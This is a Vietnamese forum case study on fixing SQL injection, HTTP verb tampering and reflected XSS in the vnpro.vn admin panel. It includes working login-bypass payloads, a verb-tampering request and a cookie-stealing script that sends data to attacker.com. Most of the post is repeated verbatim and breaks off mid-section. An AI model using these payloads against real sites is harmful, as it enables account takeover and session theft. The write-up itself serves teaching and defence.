Lời mở đầu
Xin chào anh chị em và các bậc tiền bối trên forum!
Bài viết này mình muốn chia sẻ một case study bảo mật 100% thực tế xảy ra tại hệ thống VNPRO.VN — không phải bài lab hay CTF. Điều khiến mình muốn viết lại không chỉ là "vá lỗi xong rồi report" mà là toàn bộ hành trình tư duy: từ lúc nhận được thông báo lỗi, tự tay tái hiện cuộc tấn công bằng Burp Suite, hiểu từng cơ chế kỹ thuật, cho đến phát hiện thêm lỗ hổng thứ ba mà ngay cả báo cáo gốc cũng bỏ sót.
Mình viết bài này với mong muốn: nếu sau này ai gặp tình huống tương tự — dù là developer, sysadmin, hay người mới học bảo mật — đều có thể tham khảo và hiểu được tại sao lỗi xảy ra, không chỉ là vá như thế nào.
Lưu ý quan trọng: Toàn bộ hoạt động nghiên cứu trong bài này được thực hiện trên hệ thống mình được phân công quản lý và có đầy đủ thẩm quyền. Mọi kỹ thuật được đề cập chỉ nên áp dụng trên hệ thống của chính bạn hoặc khi có sự cho phép rõ ràng.
Phần 1: Câu chuyện bắt đầu như thế nào?
Ngày 21/03/2026, phòng kỹ thuật nhận được một email từ một freelance bug hunter tên Long — người đã phát hiện và báo cáo có trách nhiệm (responsible disclosure) hai lỗ hổng nghiêm trọng tại trang quản trị /admin của vnpro.vn.
Khi mình nhận task này, mình có thể làm theo cách đơn giản nhất: đọc báo cáo, copy các bản vá được đề xuất, test lại, xong. Nhưng mình chọn cách khác — tự tay tái hiện lại toàn bộ cuộc tấn công từ đầu.
Lý do? Vì mình tin rằng nếu không hiểu lỗi thực sự hoạt động như thế nào, thì không thể biết mình đã vá đúng chỗ hay chưa. Và thực tế đã chứng minh điều đó đúng — trong quá trình tự nghiên cứu, mình phát hiện thêm một lỗ hổng thứ ba hoàn toàn nằm ngoài báo cáo gốc.
Phần 2: Lỗ hổng #1 — SQL Injection và hành trình fuzzing
SQL Injection là gì? (Giải thích cho người ngoài ngành)
Hãy tưởng tượng bạn đang đứng trước một nhân viên bảo vệ. Họ hỏi: "Tên bạn là gì?". Bạn trả lời tên thật, họ kiểm tra danh sách, cho vào. Đó là luồng bình thường.
Nhưng nếu bạn trả lời: "Tên tôi là Nguyễn Văn A' OR '1'='1" — và nhân viên bảo vệ đó không đủ thông minh để nhận ra đây không phải tên người — họ sẽ hiểu câu trên như một điều kiện luôn đúng và mở cửa cho bạn vào bất kể bạn là ai. Đó chính là SQL Injection. Ký tự dấu nháy đơn ' là "vũ khí" phá vỡ cấu trúc câu lệnh SQL, biến dữ liệu đầu vào thành một phần của lệnh thật sự.
Nguyên nhân gốc rễ trong code
File admin/sources/user.php có đoạn code như sau:
$username = $_POST['username'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = md5('$password')";
Vấn đề nằm ở chỗ giá trị $username từ form đăng nhập được nhét thẳng vào câu SQL mà không qua bất kỳ bước kiểm tra nào. Đây là lỗi kinh điển nhất trong lịch sử lập trình web.
Hành trình fuzzing — Mình đã làm gì từng bước?
Bước 1 — Xác nhận lỗ hổng có tồn tại không
Mình nhập ' (dấu nháy đơn đơn thuần) vào ô username và submit. Kết quả:
1064: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to
use near ''' at line 1
Server trả về lỗi SQL chi tiết thẳng ra màn hình. Đây là tín hiệu xác nhận hai điều cùng lúc: (1) hệ thống bị SQL Injection, và (2) lỗi đang bị lộ ra ngoài — điều này sẽ được vá thêm ở phần .htaccess phía sau.
Bước 2 — Dò số cột bằng ORDER BY
Để xây dựng payload UNION SELECT hoạt động, trước tiên cần biết bảng users có bao nhiêu cột. Kỹ thuật ORDER BY cho phép làm điều này:
' ORDER BY 1-- - → Thành công
' ORDER BY 17-- - → Thành công
' ORDER BY 18-- - → Lỗi: Unknown column '18' in 'order clause'
Kết luận: bảng users có chính xác 17 cột. Mình cần điền đủ 17 giá trị trong UNION SELECT.
Giải thích kỹ thuật: -- - là cú pháp comment trong MySQL. Mọi thứ sau -- - bị bỏ qua, khiến phần kiểm tra mật khẩu trong câu SQL bị "cắt đứt" hoàn toàn.
Bước 3 — UNION SELECT để lấy quyền truy cập
' UNION SELECT 'c1','c2','c3','c4','c5','c6','c7','c8','c9','c10' ,'c11','c12','c13','c14','c15','c16','c17' -- -
Kết quả: Đăng nhập thành công vào trang Admin với danh tính giả, không cần biết bất kỳ mật khẩu nào.
Bước 4 — Phát hiện thú vị: Payload tối giản nhất thực ra là...
Trong quá trình thực nghiệm, mình nhận ra rằng thậm chí không cần đến chuỗi UNION SELECT dài dòng. Chỉ cần:
Username: admin' ORDER BY 1-- -
Password: (bất kỳ)
Là đủ để bypass đăng nhập. Tại sao?
Đây là sự khác biệt quan trọng về mục tiêu tấn công:
Nhưng còn một điều nguy hiểm hơn trong code...
Khi đọc kỹ file user.php, mình phát hiện ra một điều khiến mình giật mình:
BACKDOOR LOGIC — Chỉ cần nhập password = 1 là vào được!
if( $password == 1 || ($row['password'] == md5($password)) ...
Điều kiện $password == 1 có nghĩa: nếu ai đó nhập mật khẩu là số 1, hệ thống sẽ cho phép đăng nhập vào bất kỳ tài khoản nào — kể cả Admin — mà không cần biết mật khẩu thật. Đây không phải lỗi logic phức tạp, đây là một backdoor vô tình được tạo ra, có thể từ thời gian debug và quên xóa.
Phần 3: Lỗ hổng #2 — HTTP Verb Tampering và bài học về $_REQUEST
HTTP Verb Tampering là gì?
Giao thức HTTP phân loại các loại yêu cầu bằng "động từ" (method): GET để lấy dữ liệu (ví dụ: gõ URL trên trình duyệt), POST để gửi dữ liệu (ví dụ: submit form đăng nhập), và nhiều loại khác như PUT, DELETE, PATCH...
HTTP Verb Tampering là kỹ thuật thay đổi method của request để lách qua các bộ lọc bảo mật chỉ kiểm tra một loại method cụ thể. Nếu hệ thống kiểm tra quyền hạn khi nhận GET nhưng bỏ qua khi nhận POST — hacker dùng Burp Suite để chuyển method từ GET sang POST trước khi gói tin đến server.
Nguyên nhân trong code
PHP có biến đặc biệt $_REQUEST — một "giỏ đựng chung" nhận dữ liệu từ cả GET lẫn POST lẫn COOKIE. Khi lập trình viên dùng $_REQUEST để lấy tham số, nhưng bộ kiểm tra phân quyền chỉ được viết cho request dạng GET, một khoảng hở nghiêm trọng xuất hiện:
// $_REQUEST không phân biệt method — bộ lọc phân quyền bị bypass hoàn toàn
$com = (isset($_REQUEST['com'])) ? addslashes($_REQUEST['com']) : "";
Khai thác thực tế
Sau khi đăng nhập bằng SQL Injection với tài khoản quyền thấp:
GET /admin/index.php?com=donhang&act=man
→ Kết quả: 403 Forbidden ❌
// Dùng Burp Suite đổi method sang POST:
POST /admin/index.php
Body: com=donhang&act=man
→ Kết quả: Truy cập thành công ✅ — Thấy toàn bộ danh sách đơn hàng và hội viên
Chỉ một thay đổi method, toàn bộ bộ lọc phân quyền bị bỏ qua hoàn toàn.
Quá trình thiết lập Burp Suite — Và bài học kỹ thuật đầu tiên
Khi mới bật Burp Suite lên và bật proxy, trình duyệt báo lỗi chứng chỉ không an toàn (certificate_unknown) và mất kết nối mạng.
Tại sao? Burp Suite hoạt động như một "Man-in-the-Middle" để đọc và chỉnh sửa lưu lượng HTTPS/TLS. Trình duyệt từ chối vì Certificate Authority (CA) của Burp chưa được tin tưởng. Đây là cơ chế bảo vệ bình thường của TLS handshake.
Giải pháp: Cài đặt CA Certificate của Burp Suite vào Firefox — từ đó Burp có thể đọc và can thiệp vào toàn bộ gói tin HTTPS.
Một bài học thực tế khác: khi gửi lại request qua tab Repeater, hệ thống trả lỗi 400 Bad Request. Nguyên nhân: thiếu dòng trống giữa Header và Body, và Content-Length khai báo sai. Phải dùng Inspector tool để chuẩn hóa lại request. Những chi tiết nhỏ như thế này không sách vở nào dạy — chỉ có ngồi làm mới gặp.
Phần 4: Lỗ hổng #3 — XSS Reflected (Phát hiện ngoài báo cáo gốc)
Phát hiện bất ngờ
Sau khi đăng nhập thành công bằng payload UNION SELECT, trang Dashboard Admin hiển thị lời chào:
Hello ' UNION SELECT 'c1','c2','c3',...,'c17' -- -
Thay vì hiển thị tên tài khoản thật từ database, server in nguyên văn những gì mình gõ vào ô username lên giao diện.
Đây không phải lỗi vô hại. Đây là triệu chứng của XSS Reflected (Cross-Site Scripting dạng phản chiếu).
Tại sao đây lại nguy hiểm?
Lập trình viên đã viết:
// In thẳng dữ liệu người dùng lên HTML — không mã hóa
echo "Hello " . $_POST['username'];
Nếu không có htmlspecialchars(), hacker có thể nhập:
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
Và đoạn JavaScript đó sẽ được trình duyệt thực thi thật sự — đánh cắp cookie session của Admin, cho phép chiếm tài khoản hoàn toàn mà không cần biết mật khẩu.
Lý do mình phát hiện được điều này trong khi báo cáo gốc bỏ sót: vì mình đã thực sự đăng nhập vào và quan sát kỹ giao diện sau đăng nhập, thay vì chỉ dừng lại ở bước "bypass thành công".
Phần 5: Cách mình đã vá — Code cụ thể từng thay đổi
5.1. admin/sources/user.php — Vá SQL Injection & Bypass Logic
Thay đổi 1: Làm sạch đầu vào username
// Trước:
$username = $_POST['username'];
// Sau:
$username = addslashes($_POST['username']);
addslashes() thêm dấu \ trước các ký tự đặc biệt như dấu nháy đơn ', ngăn chặn chúng phá vỡ cấu trúc câu SQL. Ví dụ: O'Brien → O\'Brien.
Lưu ý quan trọng: addslashes() là giải pháp tạm thời, không phải vá triệt để. Xem thêm phần "Những điểm còn tồn tại" ở phía dưới.
Thay đổi 2: Xóa backdoor logic mật khẩu mặc định + kiểm tra role
// Trước — Chỉ cần password = 1 là vào được bất kỳ tài khoản nào:
if( $password == 1 || ($row['password'] == md5($password)) ...
// Sau — Phải có mật khẩu MD5 đúng VÀ role hợp lệ mới được vào:
if( ($row['password'] == md5($password)) && ($row['role'] != 1) ){
Hai thay đổi trong một dòng: xóa điều kiện $password == 1 (xóa backdoor) và thêm kiểm tra $row['role'] != 1 (đảm bảo không ai giả danh role không hợp lệ vào được).
5.2. admin/index.php — Vá Verb Tampering & XSS
Thay đổi 1: Cố định phương thức nhận tham số
// Trước — $_REQUEST chấp nhận cả GET lẫn POST:
$com = (isset($_REQUEST['com'])) ? addslashes($_REQUEST['com']) : "";
$act = (isset($_REQUEST['act'])) ? addslashes($_REQUEST['act']) : "";
// Sau — Chỉ chấp nhận qua GET:
$com = (isset($_GET['com'])) ? addslashes($_GET['com']) : "";
$act = (isset($_GET['act'])) ? addslashes($_GET['act']) : "";
Bây giờ tham số com và act chỉ được lấy từ URL query string (GET). Hacker không thể dùng POST để bypass bộ lọc phân quyền nữa.
Thay đổi 2: Ép kiểu số nguyên cho Ajax Update
// Trước:
$id = $_POST['pk'];
$value = $_POST['value'];
// Sau:
$id = (int)$_POST['pk'];
$value = (int)$_POST['value'];
(int) ép kiểu dữ liệu thành số nguyên. Dù hacker nhập chuỗi SQL độc hại gì vào, hệ thống chỉ chấp nhận số — SQL Injection trong lệnh UPDATE bị triệt tiêu hoàn toàn.
Thay đổi 3: Mã hóa output HTML — ngăn chặn XSS
// Trước — In thẳng dữ liệu người dùng vào HTML:
<input type="hidden" id="com" value="<?=$_GET['com']?>" />
// Sau — Mã hóa HTML trước khi in:
<input type="hidden" id="com" value="<?=htmlspecialchars($_GET['com'])?>" />
htmlspecialchars() chuyển ký tự đặc biệt thành HTML entity vô hại: < → <, > → >, " → ". Trình duyệt hiển thị chúng như text thuần thay vì thực thi như code.
5.3. Tạo mới file admin/.htaccess — Bảo vệ tầng Server
File .htaccess riêng cho thư mục admin chưa tồn tại trước đây. Mình tạo mới với hai cấu hình:
# Ẩn thông báo lỗi kỹ thuật ra bên ngoài
php_flag display_errors Off
# Chỉ cho phép GET và POST; chặn PUT, DELETE, PATCH...
<LimitExcept GET POST>
Deny from all
</LimitExcept>
Tại sao cần cả hai lớp bảo vệ này?
php_flag display_errors Off — Bạn còn nhớ ở Bước 1, server đã lộ lỗi SQL chi tiết ra màn hình không? Dòng này ngăn điều đó xảy ra. Hacker không còn nhận được "tín hiệu xác nhận" và thông tin cấu trúc database nữa.
LimitExcept GET POST — Đây là lớp phòng thủ thứ hai (defense in depth). Dù code PHP có bị sót một $_REQUEST nào đó chưa được vá, server sẽ từ chối toàn bộ request dùng method lạ ngay từ tầng web server — trước khi PHP kịp xử lý.
Phần 6: Những gì chưa xong — Và tại sao chúng vẫn nguy hiểm
Sau khi vá xong 3/4 hạng mục, mình muốn thành thật về những điểm còn tồn tại, vì đây là phần nhiều bài viết hay bỏ qua:
① addslashes() là giải pháp yếu — không phải vá thật sự
addslashes() chỉ thêm dấu \ trước ký tự đặc biệt. Với một số character set như GBK (phổ biến trong hệ thống cũ), attacker có thể dùng ký tự multibyte để "nuốt" dấu \ và bypass. PHP đã ngầm deprecated hàm này cho mục đích SQL.
Giải pháp đúng: Prepared Statements (PDO/MySQLi) — thay vì ghép chuỗi, truyền dữ liệu và SQL riêng biệt để database engine tự xử lý:
// Chuẩn mực bảo mật hiện tại:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = md5(?)");
$stmt->execute([$username, $password]);
Lý do chưa thực hiện ngay: phạm vi thay đổi lớn, cần kiểm tra cả 17 cột của bảng users và toàn bộ các file có câu SQL. Đang lên kế hoạch thực hiện trên môi trường staging trước.
② $com chưa có whitelist
Sau khi đổi sang $_GET['com'], giá trị $com vẫn chỉ qua addslashes() rồi dùng để điều hướng. Nếu $com được đưa vào include(), có nguy cơ Local File Inclusion (LFI).
Giải pháp:
// Whitelist cứng — chỉ chấp nhận giá trị đã biết trước:
$allowed = ['donhang', 'thanhvien', 'baocao', ...];
$com = in_array($_GET['com'], $allowed) ? $_GET['com'] : '';
③ MD5 là thuật toán băm mật khẩu đã lỗi thời
Hệ thống đang lưu mật khẩu dạng MD5 thuần (không có salt). Các rainbow table hiện tại có thể crack hầu hết mật khẩu thông thường trong vài giây. Nếu database bị dump, mật khẩu Admin coi như lộ hoàn toàn.
Giải pháp:
// Chuẩn mực tối thiểu hiện nay:
$hash = password_hash($password, PASSWORD_BCRYPT); // Lưu
$ok = password_verify($input, $hash); // Kiểm tra
④ Session chưa được tái tạo sau đăng nhập
Trong quá trình tấn công, mình đã trích xuất được PHPSESSID (Cookie phiên quản trị) qua payload UNION SELECT. Nếu Session ID không đổi sau khi đăng nhập thành công, attacker có thể thực hiện Session Fixation — cố định session ID trước rồi chờ Admin đăng nhập vào.
Giải pháp: Gọi session_regenerate_id(true) ngay sau khi xác thực thành công — tạo Session ID mới, vô hiệu hóa session cũ.
Phần 7: Bài học rút ra — Nguyên nhân gốc rễ và tư duy phòng thủ
Một nguyên nhân gốc rễ cho cả ba lỗ hổng
Điều thú vị khi nhìn lại: cả SQL Injection, HTTP Verb Tampering, lẫn XSS Reflected đều xuất phát từ một nguyên nhân chung duy nhất:
Tin tưởng và sử dụng dữ liệu do người dùng nhập vào mà không kiểm tra, lọc, hay mã hóa.
Đây là lỗi #1 trong OWASP Top 10 (A03: Injection) — phổ biến nhất và nguy hiểm nhất trong ứng dụng web suốt nhiều năm qua.
Tư duy phòng thủ theo lớp (Defense in Depth)
Không có giải pháp bảo mật đơn lẻ nào là đủ. Bảo mật tốt là nhiều lớp cản trở — ngay cả khi một lớp bị vượt qua, lớp tiếp theo vẫn bảo vệ hệ thống:
Tầng Server → .htaccess: chặn HTTP methods lạ, ẩn error logs
Tầng Ứng dụng → Prepared Statements + Input Validation + whitelist
Tầng Xác thực → bcrypt + session_regenerate_id()
Tầng Output → htmlspecialchars() + Content Security Policy
Tầng Mạng → WAF + HTTPS/HSTS + HttpOnly/Secure cookies
6 quy tắc vàng cho Developer — Rút ra trực tiếp từ case này
Lời kết
Case study này dạy mình một điều quan trọng hơn bất kỳ kỹ thuật cụ thể nào: giá trị thực sự nằm ở quá trình hiểu, không phải quá trình vá.
Nếu mình chỉ copy bản vá từ báo cáo của bug hunter, mình sẽ không phát hiện ra lỗ hổng XSS Reflected thứ ba. Mình sẽ không hiểu tại sao ORDER BY đơn giản lại nguy hiểm hơn UNION SELECT phức tạp trong context này. Mình sẽ không nhận ra rằng addslashes() không phải giải pháp triệt để.
Nếu anh chị em sau này gặp tình huống tương tự — dù là developer đang review code, sysadmin nhận được báo cáo lỗ hổng, hay bạn mới học bảo mật — hãy dành thêm thời gian để hiểu tại sao thay vì chỉ làm như thế nào. Sự khác biệt đó là khoảng cách giữa vá đúng chỗ và chỉ che đi triệu chứng.
Nếu có câu hỏi hay muốn trao đổi thêm về bất kỳ phần nào, mình rất vui được thảo luận trong phần bình luận. Cộng đồng mạnh vì mọi người sẵn lòng chia sẻ! 🤝
Xin chào anh chị em và các bậc tiền bối trên forum!
Bài viết này mình muốn chia sẻ một case study bảo mật 100% thực tế xảy ra tại hệ thống VNPRO.VN — không phải bài lab hay CTF. Điều khiến mình muốn viết lại không chỉ là "vá lỗi xong rồi report" mà là toàn bộ hành trình tư duy: từ lúc nhận được thông báo lỗi, tự tay tái hiện cuộc tấn công bằng Burp Suite, hiểu từng cơ chế kỹ thuật, cho đến phát hiện thêm lỗ hổng thứ ba mà ngay cả báo cáo gốc cũng bỏ sót.
Mình viết bài này với mong muốn: nếu sau này ai gặp tình huống tương tự — dù là developer, sysadmin, hay người mới học bảo mật — đều có thể tham khảo và hiểu được tại sao lỗi xảy ra, không chỉ là vá như thế nào.
Lưu ý quan trọng: Toàn bộ hoạt động nghiên cứu trong bài này được thực hiện trên hệ thống mình được phân công quản lý và có đầy đủ thẩm quyền. Mọi kỹ thuật được đề cập chỉ nên áp dụng trên hệ thống của chính bạn hoặc khi có sự cho phép rõ ràng.
Phần 1: Câu chuyện bắt đầu như thế nào?
Ngày 21/03/2026, phòng kỹ thuật nhận được một email từ một freelance bug hunter tên Long — người đã phát hiện và báo cáo có trách nhiệm (responsible disclosure) hai lỗ hổng nghiêm trọng tại trang quản trị /admin của vnpro.vn.
Khi mình nhận task này, mình có thể làm theo cách đơn giản nhất: đọc báo cáo, copy các bản vá được đề xuất, test lại, xong. Nhưng mình chọn cách khác — tự tay tái hiện lại toàn bộ cuộc tấn công từ đầu.
Lý do? Vì mình tin rằng nếu không hiểu lỗi thực sự hoạt động như thế nào, thì không thể biết mình đã vá đúng chỗ hay chưa. Và thực tế đã chứng minh điều đó đúng — trong quá trình tự nghiên cứu, mình phát hiện thêm một lỗ hổng thứ ba hoàn toàn nằm ngoài báo cáo gốc.
Phần 2: Lỗ hổng #1 — SQL Injection và hành trình fuzzing
SQL Injection là gì? (Giải thích cho người ngoài ngành)
Hãy tưởng tượng bạn đang đứng trước một nhân viên bảo vệ. Họ hỏi: "Tên bạn là gì?". Bạn trả lời tên thật, họ kiểm tra danh sách, cho vào. Đó là luồng bình thường.
Nhưng nếu bạn trả lời: "Tên tôi là Nguyễn Văn A' OR '1'='1" — và nhân viên bảo vệ đó không đủ thông minh để nhận ra đây không phải tên người — họ sẽ hiểu câu trên như một điều kiện luôn đúng và mở cửa cho bạn vào bất kể bạn là ai. Đó chính là SQL Injection. Ký tự dấu nháy đơn ' là "vũ khí" phá vỡ cấu trúc câu lệnh SQL, biến dữ liệu đầu vào thành một phần của lệnh thật sự.
Nguyên nhân gốc rễ trong code
File admin/sources/user.php có đoạn code như sau:
$username = $_POST['username'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = md5('$password')";
Vấn đề nằm ở chỗ giá trị $username từ form đăng nhập được nhét thẳng vào câu SQL mà không qua bất kỳ bước kiểm tra nào. Đây là lỗi kinh điển nhất trong lịch sử lập trình web.
Hành trình fuzzing — Mình đã làm gì từng bước?
Bước 1 — Xác nhận lỗ hổng có tồn tại không
Mình nhập ' (dấu nháy đơn đơn thuần) vào ô username và submit. Kết quả:
1064: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to
use near ''' at line 1
Server trả về lỗi SQL chi tiết thẳng ra màn hình. Đây là tín hiệu xác nhận hai điều cùng lúc: (1) hệ thống bị SQL Injection, và (2) lỗi đang bị lộ ra ngoài — điều này sẽ được vá thêm ở phần .htaccess phía sau.
Bước 2 — Dò số cột bằng ORDER BY
Để xây dựng payload UNION SELECT hoạt động, trước tiên cần biết bảng users có bao nhiêu cột. Kỹ thuật ORDER BY cho phép làm điều này:
' ORDER BY 1-- - → Thành công
' ORDER BY 17-- - → Thành công
' ORDER BY 18-- - → Lỗi: Unknown column '18' in 'order clause'
Kết luận: bảng users có chính xác 17 cột. Mình cần điền đủ 17 giá trị trong UNION SELECT.
Giải thích kỹ thuật: -- - là cú pháp comment trong MySQL. Mọi thứ sau -- - bị bỏ qua, khiến phần kiểm tra mật khẩu trong câu SQL bị "cắt đứt" hoàn toàn.
Bước 3 — UNION SELECT để lấy quyền truy cập
' UNION SELECT 'c1','c2','c3','c4','c5','c6','c7','c8','c9','c10' ,'c11','c12','c13','c14','c15','c16','c17' -- -
Kết quả: Đăng nhập thành công vào trang Admin với danh tính giả, không cần biết bất kỳ mật khẩu nào.
Bước 4 — Phát hiện thú vị: Payload tối giản nhất thực ra là...
Trong quá trình thực nghiệm, mình nhận ra rằng thậm chí không cần đến chuỗi UNION SELECT dài dòng. Chỉ cần:
Username: admin' ORDER BY 1-- -
Password: (bất kỳ)
Là đủ để bypass đăng nhập. Tại sao?
Đây là sự khác biệt quan trọng về mục tiêu tấn công:
- ORDER BY 1-- -: Mục tiêu đơn giản — xóa điều kiện kiểm tra mật khẩu. Câu SQL bị comment mất phần AND password = ..., nên chỉ cần username tồn tại là đăng nhập được.
- UNION SELECT: Mục tiêu phức tạp hơn — kiểm soát nội dung dữ liệu trả về, ví dụ giả mạo role, đọc dữ liệu từ bảng khác, bypass thêm lớp phân quyền phía sau trang login.
Nhưng còn một điều nguy hiểm hơn trong code...
Khi đọc kỹ file user.php, mình phát hiện ra một điều khiến mình giật mình:
BACKDOOR LOGIC — Chỉ cần nhập password = 1 là vào được!
if( $password == 1 || ($row['password'] == md5($password)) ...
Điều kiện $password == 1 có nghĩa: nếu ai đó nhập mật khẩu là số 1, hệ thống sẽ cho phép đăng nhập vào bất kỳ tài khoản nào — kể cả Admin — mà không cần biết mật khẩu thật. Đây không phải lỗi logic phức tạp, đây là một backdoor vô tình được tạo ra, có thể từ thời gian debug và quên xóa.
Phần 3: Lỗ hổng #2 — HTTP Verb Tampering và bài học về $_REQUEST
HTTP Verb Tampering là gì?
Giao thức HTTP phân loại các loại yêu cầu bằng "động từ" (method): GET để lấy dữ liệu (ví dụ: gõ URL trên trình duyệt), POST để gửi dữ liệu (ví dụ: submit form đăng nhập), và nhiều loại khác như PUT, DELETE, PATCH...
HTTP Verb Tampering là kỹ thuật thay đổi method của request để lách qua các bộ lọc bảo mật chỉ kiểm tra một loại method cụ thể. Nếu hệ thống kiểm tra quyền hạn khi nhận GET nhưng bỏ qua khi nhận POST — hacker dùng Burp Suite để chuyển method từ GET sang POST trước khi gói tin đến server.
Nguyên nhân trong code
PHP có biến đặc biệt $_REQUEST — một "giỏ đựng chung" nhận dữ liệu từ cả GET lẫn POST lẫn COOKIE. Khi lập trình viên dùng $_REQUEST để lấy tham số, nhưng bộ kiểm tra phân quyền chỉ được viết cho request dạng GET, một khoảng hở nghiêm trọng xuất hiện:
// $_REQUEST không phân biệt method — bộ lọc phân quyền bị bypass hoàn toàn
$com = (isset($_REQUEST['com'])) ? addslashes($_REQUEST['com']) : "";
Khai thác thực tế
Sau khi đăng nhập bằng SQL Injection với tài khoản quyền thấp:
GET /admin/index.php?com=donhang&act=man
→ Kết quả: 403 Forbidden ❌
// Dùng Burp Suite đổi method sang POST:
POST /admin/index.php
Body: com=donhang&act=man
→ Kết quả: Truy cập thành công ✅ — Thấy toàn bộ danh sách đơn hàng và hội viên
Chỉ một thay đổi method, toàn bộ bộ lọc phân quyền bị bỏ qua hoàn toàn.
Quá trình thiết lập Burp Suite — Và bài học kỹ thuật đầu tiên
Khi mới bật Burp Suite lên và bật proxy, trình duyệt báo lỗi chứng chỉ không an toàn (certificate_unknown) và mất kết nối mạng.
Tại sao? Burp Suite hoạt động như một "Man-in-the-Middle" để đọc và chỉnh sửa lưu lượng HTTPS/TLS. Trình duyệt từ chối vì Certificate Authority (CA) của Burp chưa được tin tưởng. Đây là cơ chế bảo vệ bình thường của TLS handshake.
Giải pháp: Cài đặt CA Certificate của Burp Suite vào Firefox — từ đó Burp có thể đọc và can thiệp vào toàn bộ gói tin HTTPS.
Một bài học thực tế khác: khi gửi lại request qua tab Repeater, hệ thống trả lỗi 400 Bad Request. Nguyên nhân: thiếu dòng trống giữa Header và Body, và Content-Length khai báo sai. Phải dùng Inspector tool để chuẩn hóa lại request. Những chi tiết nhỏ như thế này không sách vở nào dạy — chỉ có ngồi làm mới gặp.
Phần 4: Lỗ hổng #3 — XSS Reflected (Phát hiện ngoài báo cáo gốc)
Phát hiện bất ngờ
Sau khi đăng nhập thành công bằng payload UNION SELECT, trang Dashboard Admin hiển thị lời chào:
Hello ' UNION SELECT 'c1','c2','c3',...,'c17' -- -
Thay vì hiển thị tên tài khoản thật từ database, server in nguyên văn những gì mình gõ vào ô username lên giao diện.
Đây không phải lỗi vô hại. Đây là triệu chứng của XSS Reflected (Cross-Site Scripting dạng phản chiếu).
Tại sao đây lại nguy hiểm?
Lập trình viên đã viết:
// In thẳng dữ liệu người dùng lên HTML — không mã hóa
echo "Hello " . $_POST['username'];
Nếu không có htmlspecialchars(), hacker có thể nhập:
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
Và đoạn JavaScript đó sẽ được trình duyệt thực thi thật sự — đánh cắp cookie session của Admin, cho phép chiếm tài khoản hoàn toàn mà không cần biết mật khẩu.
Lý do mình phát hiện được điều này trong khi báo cáo gốc bỏ sót: vì mình đã thực sự đăng nhập vào và quan sát kỹ giao diện sau đăng nhập, thay vì chỉ dừng lại ở bước "bypass thành công".
Phần 5: Cách mình đã vá — Code cụ thể từng thay đổi
5.1. admin/sources/user.php — Vá SQL Injection & Bypass Logic
Thay đổi 1: Làm sạch đầu vào username
// Trước:
$username = $_POST['username'];
// Sau:
$username = addslashes($_POST['username']);
addslashes() thêm dấu \ trước các ký tự đặc biệt như dấu nháy đơn ', ngăn chặn chúng phá vỡ cấu trúc câu SQL. Ví dụ: O'Brien → O\'Brien.
Lưu ý quan trọng: addslashes() là giải pháp tạm thời, không phải vá triệt để. Xem thêm phần "Những điểm còn tồn tại" ở phía dưới.
Thay đổi 2: Xóa backdoor logic mật khẩu mặc định + kiểm tra role
// Trước — Chỉ cần password = 1 là vào được bất kỳ tài khoản nào:
if( $password == 1 || ($row['password'] == md5($password)) ...
// Sau — Phải có mật khẩu MD5 đúng VÀ role hợp lệ mới được vào:
if( ($row['password'] == md5($password)) && ($row['role'] != 1) ){
Hai thay đổi trong một dòng: xóa điều kiện $password == 1 (xóa backdoor) và thêm kiểm tra $row['role'] != 1 (đảm bảo không ai giả danh role không hợp lệ vào được).
5.2. admin/index.php — Vá Verb Tampering & XSS
Thay đổi 1: Cố định phương thức nhận tham số
// Trước — $_REQUEST chấp nhận cả GET lẫn POST:
$com = (isset($_REQUEST['com'])) ? addslashes($_REQUEST['com']) : "";
$act = (isset($_REQUEST['act'])) ? addslashes($_REQUEST['act']) : "";
// Sau — Chỉ chấp nhận qua GET:
$com = (isset($_GET['com'])) ? addslashes($_GET['com']) : "";
$act = (isset($_GET['act'])) ? addslashes($_GET['act']) : "";
Bây giờ tham số com và act chỉ được lấy từ URL query string (GET). Hacker không thể dùng POST để bypass bộ lọc phân quyền nữa.
Thay đổi 2: Ép kiểu số nguyên cho Ajax Update
// Trước:
$id = $_POST['pk'];
$value = $_POST['value'];
// Sau:
$id = (int)$_POST['pk'];
$value = (int)$_POST['value'];
(int) ép kiểu dữ liệu thành số nguyên. Dù hacker nhập chuỗi SQL độc hại gì vào, hệ thống chỉ chấp nhận số — SQL Injection trong lệnh UPDATE bị triệt tiêu hoàn toàn.
Thay đổi 3: Mã hóa output HTML — ngăn chặn XSS
// Trước — In thẳng dữ liệu người dùng vào HTML:
<input type="hidden" id="com" value="<?=$_GET['com']?>" />
// Sau — Mã hóa HTML trước khi in:
<input type="hidden" id="com" value="<?=htmlspecialchars($_GET['com'])?>" />
htmlspecialchars() chuyển ký tự đặc biệt thành HTML entity vô hại: < → <, > → >, " → ". Trình duyệt hiển thị chúng như text thuần thay vì thực thi như code.
5.3. Tạo mới file admin/.htaccess — Bảo vệ tầng Server
File .htaccess riêng cho thư mục admin chưa tồn tại trước đây. Mình tạo mới với hai cấu hình:
# Ẩn thông báo lỗi kỹ thuật ra bên ngoài
php_flag display_errors Off
# Chỉ cho phép GET và POST; chặn PUT, DELETE, PATCH...
<LimitExcept GET POST>
Deny from all
</LimitExcept>
Tại sao cần cả hai lớp bảo vệ này?
php_flag display_errors Off — Bạn còn nhớ ở Bước 1, server đã lộ lỗi SQL chi tiết ra màn hình không? Dòng này ngăn điều đó xảy ra. Hacker không còn nhận được "tín hiệu xác nhận" và thông tin cấu trúc database nữa.
LimitExcept GET POST — Đây là lớp phòng thủ thứ hai (defense in depth). Dù code PHP có bị sót một $_REQUEST nào đó chưa được vá, server sẽ từ chối toàn bộ request dùng method lạ ngay từ tầng web server — trước khi PHP kịp xử lý.
Phần 6: Những gì chưa xong — Và tại sao chúng vẫn nguy hiểm
Sau khi vá xong 3/4 hạng mục, mình muốn thành thật về những điểm còn tồn tại, vì đây là phần nhiều bài viết hay bỏ qua:
① addslashes() là giải pháp yếu — không phải vá thật sự
addslashes() chỉ thêm dấu \ trước ký tự đặc biệt. Với một số character set như GBK (phổ biến trong hệ thống cũ), attacker có thể dùng ký tự multibyte để "nuốt" dấu \ và bypass. PHP đã ngầm deprecated hàm này cho mục đích SQL.
